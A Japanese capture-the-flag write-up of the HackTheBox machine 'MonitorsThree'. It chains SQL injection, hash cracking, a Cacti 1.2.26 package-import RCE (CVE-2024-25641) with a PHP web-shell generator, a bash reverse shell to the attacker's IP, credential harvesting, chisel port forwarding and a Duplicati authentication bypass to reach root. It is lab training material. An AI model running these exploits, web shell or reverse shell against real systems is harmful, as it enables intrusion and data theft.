今回はHackTheBoxのMediumマシン「MonitorsThree」のWriteUpです!
このマシンは過去に「Monitors」や「MonitorsTwo」といったマシンが出ており、その最新作ですね!
個人的にかなり好きなシリーズなので、楽しみです!
MonitorsThree
列挙
それでは攻略を始めていきましょう!
まずはポートスキャンを実行します。
+[~/monitorsthree]
(σ▰>∇<)σ<10.10.14.3>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.30
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
22番と80番がオープンしています。
80番に対してブラウザからアクセスしてみましょう。
ネットワークに対するソリューションを提供するウェブサイトが表示されました。
サイトの右上を見ると、「Login」と書かれたボタンがあります。押下してみましょう。
ログイン画面が表示されました。簡単にSQLインジェクションを試しましたが、発火しませんでした。
SQLインジェクション
ログインフォームの下には、パスワードリセット画面への遷移があります。
ユーザ名を入力し、そのユーザのメールアドレスにパスワードリセットのリンクを送るというよくある画面ですね。試しに「admin」というユーザ名を入力してみます。
偶然にも「admin」というユーザが存在したため、パスワードリセットのリンクが送信されました。次に「test」というユーザを入力します。
先ほどとは違ってエラーメッセージが表示されました。これは「test」というユーザが存在しないためです。
このようにユーザの存在によってレスポンスが変わるということは、DBへの参照が行われている証であり、SQLインジェクションが発火する可能性があります。
では、「admin」の後ろにシングルクォート('
)を追加し、リクエストを送信してみましょう。
SQL実行エラーが表示されました!これはSQLインジェクションに脆弱であることを表しています。リクエストを保存し、sqlmap
を実行することで、DBの情報を取得できそうです。
$ sqlmap -r request.txt --batch --risk 3 --dbms=MySQL --dbs
___
__H__
___ ___["]_____ ___ ___ {1.8.9#stable}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[10:52:35] [INFO] fetching database names
[10:52:35] [INFO] fetching number of databases
[10:52:35] [INFO] retrieved: 2
[10:53:13] [INFO] retrieved: information_schema
[00:05:52] [INFO] retrieved: monitorsthree_db
available databases [2]:
[*] information_schema
[*] monitorsthree_db
SQLiによって、2つのデータベースを発見することができました。
では、続いてテーブルを見てみましょう。
$ sqlmap -r request.txt --batch --risk 3 --dbms=MySQL -D monitorsthree_db --tables
___
__H__
___ ___[)]_____ ___ ___ {1.8.9#stable}
|_ -| . [,] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Database: monitorsthree_db
[6 tables]
+---------------+
| changelog |
| customers |
| invoice_tasks |
| invoices |
| tasks |
| users |
+---------------+
いくつかのテーブルを発見しました!
この中では、特にusers
テーブルが気になります。テーブルの内容を見てみましょう。
$ sqlmap -r request.txt --batch --risk 3 --dbms=MySQL -D monitorsthree_db -T users --dump
___
__H__
___ ___[,]_____ ___ ___ {1.8.9#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Database: monitorsthree_db
Table: users
[4 entries]
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| id | dob | email | name | salary | password | username | position | start_date |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
| 2 | 1978-04-25 | admin@monitorsthree.htb | Marcus Higgins | 320800.00 | 31a181c8372e3afc59dab863430610e8 | admin | Super User | 2021-01-12 |
| 5 | 1985-02-15 | watson@monitorsthree.htb | Michael Watson | 75000.00 | c585d01f2eb3e6e1073e92023088a3dd | mwatson | Website Administrator | 2021-05-10 |
| 6 | 1990-07-30 | janderson@monitorsthree.htb | Jennifer Anderson | 68000.00 | 1e68b6eb86b45f6d92f8f292428f77ac | janderson | Network Engineer | 2021-06-20 |
| 7 | 1982-11-23 | dthompson@monitorsthree.htb | David Thompson | 83000.00 | 633b683cc128fe244b00f176c8a950f5 | dthompson | Database Manager | 2022-09-15 |
+----+------------+-----------------------------+-------------------+-----------+----------------------------------+-----------+-----------------------+------------+
admin
ユーザ等のハッシュ化されたパスワードを取得することができました!
解析できるか試してみましょう。
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
greencacti2001 (admin)
ハッシュを解析することに成功しました。
このパスワードを使用して、monitorsthree.htb
へログインできましたが、ログイン後の画面では特に何もできませんでした。
目で見える範囲ではすることがなくなったので、サブドメインを列挙することにしました。ffuf
を使用します。
+[~/monitorsthree]
(σ▰>∇<)σ<10.10.14.3>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://monitorsthree.htb -H 'HOST: FUZZ.monitorsthree.htb' -fs 13560
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 198ms]
:: Progress: [151265/151265] :: Job [1/1] :: 158 req/sec :: Duration: [0:12:10] :: Errors: 0 ::
新たにcacti
というサブドメインを発見しました。名前からして「Cacti」のサイトが表示されそうですね。アクセスしてみましょう。
予想通り「Cacti」のログイン画面が表示されました。
先ほど、SQLiを悪用して取得した認証情報でログインできないか試してみましょう。
ログインすることに成功しました!
CVE-2024-25641
ログイン画面やログイン後の画面から、Cactiのバージョンが「1.2.26」であることが分かります。このバージョンに脆弱性がないか調べたところ以下の脆弱性を発見しました。
どうやら、Cacti 1.2.26には認証済みのRCEの脆弱性が存在するようです。PoCも公開されており、簡単に脆弱性を悪用可能です。
今回は、以下のPoCを使用しました。
このPoCは、Cactiにインポートするパッケージ(test.xml.gz)を作成するPHPスクリプトです。PoCの中で、ファイルデータを指定する箇所があるため、コマンド実行を可能とする内容へ変更します。
変更後のPHPスクリプトは以下のような内容になります。
<?php
$xmldata = "<xml>
<files>
<file>
<name>resource/test.php</name>
<data>%s</data>
<filesignature>%s</filesignature>
</file>
</files>
<publickey>%s</publickey>
<signature></signature>
</xml>";
$filedata = '<?php system($_GET["cmd"]); ?>'; # change
$keypair = openssl_pkey_new();
$public_key = openssl_pkey_get_details($keypair)["key"];
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");
?>
スクリプトから分かるように$filedate
の内容を変更しています。
内容が修正できたので、このPHPスクリプトを実行し、インポートするパッケージを生成します。
+[~/monitorsthree]
(σ▰>∇<)σ<10.10.14.3>$ php poc.php
これで準備が整ったので、Cactiにインポートしていきます。
Cactiの横のメニューから「Import/Export」をクリックすると、パッケージをインポートできる画面が表示されます。
では、パッケージをインポートしてきましょう。
パッケージがインポートされ、画面下の表示から「test.php」という名前のPHPファイルを作成できたことが分かります。
同時に、ファイルのパスも判明しているため、Webシェルとしてコマンドを実行させることが出来そうです。試しにid
コマンドを実行させてみましょう。
コマンドの実行に成功しました!
www-data としてのシェル
それでは、シェルを取得しましょう。
いつものように、以下のコマンドを実行させます。
bash -c 'bash -i >& /dev/tcp/10.10.14.3/2121 0>&1'
先ほどid
コマンドを指定した箇所を上のコマンドで置き換え、リクエストを送信します。
+[~/monitorsthree]
(σ▰>∇<)σ<10.10.14.3>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.30] 40588
bash: cannot set terminal process group (1200): Inappropriate ioctl for device
bash: no job control in this shell
www-data@monitorsthree:~/html/cacti/resource$ whoami
www-data
シェルを取得することに成功しました!
水平権限昇格
では、ここから水平権限昇格(横移動)を目指していきます。
Webから侵入したため、Web関連の設定ファイルがないかを列挙したところ、いくつか気になるファイルを発見しました。
www-data@monitorsthree:~/html/cacti/include$ ls -l
total 612
-rw-r--r-- 1 www-data www-data 10614 Dec 20 2023 auth.php
...
-rw-r--r-- 1 www-data www-data 6955 May 18 21:46 config.php
-rw-r--r-- 1 www-data www-data 6955 Dec 20 2023 config.php.dist
...
それでは、config.php
の内容を確認してみましょう。
www-data@monitorsthree:~/html/cacti/include$ cat config.php
<?php
...
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
...
データベースの認証情報を発見しました。
認証情報を使用して、データベースへアクセスできるか試してみましょう。
www-data@monitorsthree:~/html/cacti/include$ mysql -u cactiuser -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 1314
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
アクセスに成功しました!
では、データベースを列挙します。
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| cacti |
| information_schema |
| mysql |
+--------------------+
3 rows in set (0.001 sec)
いつものデータベースに加えて、cacti
というデータベースを発見しました。
続いて、テーブルを確認してみます。
MariaDB [(none)]> use cacti
MariaDB [cacti]> show tables;
+-------------------------------------+
| Tables_in_cacti |
+-------------------------------------+
| aggregate_graph_templates |
| aggregate_graph_templates_graph |
...
| snmpagent_notifications_log |
| user_auth |
| user_auth_cache |
...
| vdef_items |
| version |
+-------------------------------------+
113 rows in set (0.001 sec)
大量のデータベースがありましたが、特に気になるものとしてuser_auth
テーブルがあります。
どんなデータが格納されているか見てみましょう。
MariaDB [cacti]> select * from user_auth;
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| id | username | password | realm | full_name | email_address | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
| 1 | admin | $2y$10$tjPSsSP6UovL3OTNeam4Oe24TSRuSRRApmqf5vPinSer3mDuyG90G | 0 | Administrator | marcus@monitorsthree.htb | | | on | on | on | on | 2 | 1 | 1 | 1 | 1 | on | -1 | -1 | -1 | | 0 | 0 | 436423766 |
| 3 | guest | $2y$10$SO8woUvjSFMr1CDo8O3cz.S6uJoqLaTe6/mvIcUuXzKsATo77nLHu | 0 | Guest Account | guest@monitorsthree.htb | | | on | on | on | | 1 | 1 | 1 | 1 | 1 | | -1 | -1 | -1 | | 0 | 0 | 3774379591 |
| 4 | marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK | 0 | Marcus | marcus@monitorsthree.htb | | on | on | on | on | on | 1 | 1 | 1 | 1 | 1 | on | -1 | -1 | | | 0 | 0 | 1677427318 |
+----+----------+--------------------------------------------------------------+-------+---------------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
3 rows in set (0.000 sec)
ユーザのハッシュ化されたパスワードを取得することができました!
この中でも特に気になるのは、marcus
ユーザですね。解析できないか試してみます。
+[~/monitorsthree]
(σ▰>∇<)σ<10.10.14.3>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345678910 (?)
1g 0:00:00:03 DONE (2024-08-31 10:49) 0.3278g/s 159.3p/s 159.3c/s 159.3C/s 12345678910..amorcito
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
平文パスワードを特定することができました!
marcus としてのシェル
それでは、認証情報を使用してmarcus
ユーザとしてログインしましょう。
www-data@monitorsthree:~/html/cacti/include$ su marcus
Password:
marcus@monitorsthree:/var/www/html/cacti/include$ whoami
marcus
ログインに成功しました!
ホームディレクトリを見てみると...
marcus@monitorsthree:~$ ls -l
total 4
-rw-r----- 1 root marcus 33 Aug 31 00:26 user.txt
ユーザフラグも取得することができました。
垂直権限昇格
それではここから、ルートを目指していきます。
お決まりのsudo -l
やSUIDを確認してみましたが、特に権限昇格につながりそうな情報は発見できませんでした。
他に怪しい箇所がないかを調査していると、ネットワークの設定が以下のようになっていることが分かりました。
marcus@monitorsthree:~$ netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8084 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:45971 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8200 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
ポートスキャンによって見えたオープンポートのほかに、8200番ポートが内部で開放されていることが分かります。
内部Webが動いている可能性があるため、chisel
を使用して、ポートフォワーディングを行います。
-- target
marcus@monitorsthree:/tmp$ ./chisel client -v 10.10.14.3:9999 R:9021:127.0.0.1:8200
-- host
+[/opt/too1s-l1nux]
(σ▰>∇<)σ<10.10.14.3>$ ./chisel server -port 9999 --reverse
ポートフォワーディングが実行できたので、8200番へアクセスしてみます。
すると、Duplicacti
のログイン画面が表示されました。
パスワードが分からないため、Duplicactiの認証について調べていると、以下のような記事を発見しました。
記事によると、Duplicactiでは、パスフレーズを取得することによって、認証をバイパスすることが可能なようです。
パスフレーズは、SQLiteのファイルに保存されており、実際に今回のマシンでもopt
ディレクトリ配下で確認することができました。
marcus@monitorsthree:/opt/duplicati/config$ ls -l
total 2680
drwxr-xr-x 2 root root 4096 Aug 18 08:00 control_dir_v2
-rw-r--r-- 1 root root 2650112 Aug 31 11:00 CTADPNHLTC.sqlite
-rw-r--r-- 1 root root 90112 Aug 31 11:00 Duplicati-server.sqlite
では、Duplicacti-server.sqlite
ファイルを確認してみましょう。
+[~/monitorsthree]
(σ▰>∇<)σ<10.10.14.3>$ sqlite3 Duplicati-server.sqlite
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
Backup Log Option TempFile
ErrorLog Metadata Schedule UIStorage
Filter Notification Source Version
sqlite> select * from Option;
4||encryption-module|
4||compression-module|zip
4||dblock-size|50mb
4||--no-encryption|true
-1||--asynchronous-upload-limit|50
-1||--asynchronous-concurrent-upload-limit|50
-2||startup-delay|0s
-2||max-download-speed|
-2||max-upload-speed|
-2||thread-priority|
-2||last-webserver-port|8200
-2||is-first-run|
-2||server-port-changed|True
-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=
-2||server-passphrase-trayicon|9c7095c8-094f-4b77-85b5-1037de213201
-2||server-passphrase-trayicon-hash|uKEbdeKLL7CxyePt27SsrV8PzT9JbXtz5r3rsiV5QDU=
-2||last-update-check|638606608161485700
-2||update-check-interval|
-2||update-check-latest|
-2||unacked-error|False
-2||unacked-warning|False
-2||server-listen-interface|any
-2||server-ssl-certificate|
-2||has-fixed-invalid-backup-id|True
-2||update-channel|
-2||usage-reporter-level|
-2||has-asked-for-password-protection|true
-2||disable-tray-icon-login|false
-2||allowed-hostnames|*
パスフレーズを取得することに成功しました!ここまでくれば、後は記事に従うのみです。
まず、パスフレーズをbase64とHexでエンコードします。その後、ログインリクエストの一つ目のレスポンスからNonceとSaltを取得し、エンコードした値を用いて以下のコードを実行します。
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('[Nonce]') + '[PassPhrase]')).toString(CryptoJS.enc.Base64);
最終的に得られたパスワードをログイン画面に入力すると...
ログインに成功しました!
root としてのシェル(フラグのみ)
ログイン後、ここからいったい何をするかですが、Duplicactiのdocker-composeファイルにヒントがありました。
version: "3"
services:
duplicati:
image: lscr.io/linuxserver/duplicati:latest
container_name: duplicati
environment:
- PUID=0
- PGID=0
- TZ=Etc/UTC
volumes:
- /opt/duplicati/config:/config
- /:/source
ports:
- 127.0.0.1:8200:8200
restart: unless-stopped
今回、Duplicactiではルートディレクトリ(/
)がマウントされていることが分かります。
そして、Duplicactiはバックアップを作成することが可能であるため、ルートディレクトリがマウントされているフォルダのバックアップすることによって、ルートフラグを取得できそうです。
それでは、バックアップを作成していきましょう。+ Add backup
からバックアップを作成します。
設定を進めていくと、Source data
にroot.txt
を発見しました!
バックアップを作成後、リストアするフォルダとして指定した箇所にroot.txt
が配置され、完全攻略達成です!